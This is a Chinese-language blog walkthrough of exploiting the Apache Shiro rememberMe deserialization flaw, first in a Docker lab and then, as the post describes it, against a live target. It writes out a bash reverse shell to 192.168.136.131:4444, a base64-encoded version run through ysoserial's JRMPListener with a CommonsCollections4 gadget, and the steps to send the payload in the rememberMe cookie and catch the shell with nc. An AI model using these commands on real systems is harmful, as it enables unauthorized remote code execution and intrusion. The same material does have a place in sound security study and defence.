前言
之前做的一个项目,前段时间护网被别人打穿了。问了才知道,是通过Shrio的洞进内网的的。师兄说这个洞目前还处于值得关注的阶段,所以来复现一波。
仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。
漏洞复现
环境搭建
修改镜像源
修改镜像源,这样拉取镜像会快一点
1.编辑文件
vim /etc/docker/daemon.json
2.添加
{
"registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
}
3.重启服务
systemctl daemon-reload
systemctl restart docker
docker拉取
1.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
2.将环境运行在主机的8081端口
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
成功搭建,访问漏洞环境如下
访问login.jsp,登陆勾选 Remember me
,可看到Rememberme参数
bash转码
进入改网页编码命令
bash -i >& /dev/tcp/192.168.136.131/4444 0>&1
JRMP监听
开启JRMP监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkyLjE2OC4xMzYuMTMxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
利用python脚本生成exp
使用python的到exp
python expoit.py 192.168.136.131:6666
得到exp
利用exp
nc监听端口4444
rememberMe发包,去掉sessionid,粘贴exp
成功接受shell
不用登陆成功测试,直接在登陆处随意输入一账号密码,勾选rememberme,也可成功f反弹shell
漏洞实战
发现漏洞特征
在登陆框中发现有记住我,于是点击勾选记住我随意输入账号登陆
发现了rememberMe
使用一键检测工具检测漏洞是否存在
工具github地址
输入漏洞url检测
发现漏洞确实存在,反弹shell
服务端开启监听,成功getshell
有时候一键检测工具不一定会成功检测到漏洞,但是可以检测到key,我们可以利用该key,用漏洞复现时的方法攻击。
需要修改python脚本中的key
总结
漏洞利用还是比较简单的。分析就算了,暂未学习java漏洞审计。该漏洞现在还处于值得关注的阶段,在护网中遇到的也是挺多的。
再次强调,本文仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。